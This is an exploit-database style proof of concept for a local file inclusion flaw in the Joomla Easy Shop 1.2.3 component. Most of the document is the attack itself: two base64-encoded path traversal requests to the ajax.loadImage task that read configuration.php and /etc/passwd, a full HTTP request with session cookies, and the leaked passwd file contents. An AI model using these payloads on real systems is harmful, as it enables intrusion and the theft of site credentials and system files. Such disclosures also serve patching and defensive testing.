Joomla! Component Easy Shop 1.2.3 - Local File Inclusion

# Exploit Title: Joomla! Component Easy Shop 1.2.3 - Local File Inclusion
# Dork: N/A
# Date: 2019-01-22
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://joomtech.net/
# Software D.: https://www.joomtech.net/products/easyshop?task=file.download&key=7bafaa65995fb3b1383328105df1e10f
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/shopping-cart/easy-shop/
# Version: 1.2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=[BASE64_FILE_NAME]
# 

GET /[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vY29uZmlndXJhdGlvbi5waHA= HTTP/1.1
GET /[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: __cfduid=d11dd4447c0b8ef3cd8c4f6745ebdf50e1548111108; 6eecafb7a7a944789bd299deac1ff945=osde04ob1pgq9o3p8arfqtbobk
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 21 Jan 2019 23:58:02 GMT
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expect-CT: max-age=604800, report-uri="http://localhost/[PATH]/"
Server: cloudflare
CF-RAY: 49cd621bce8f537e-LAX
Content-Encoding: br

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
....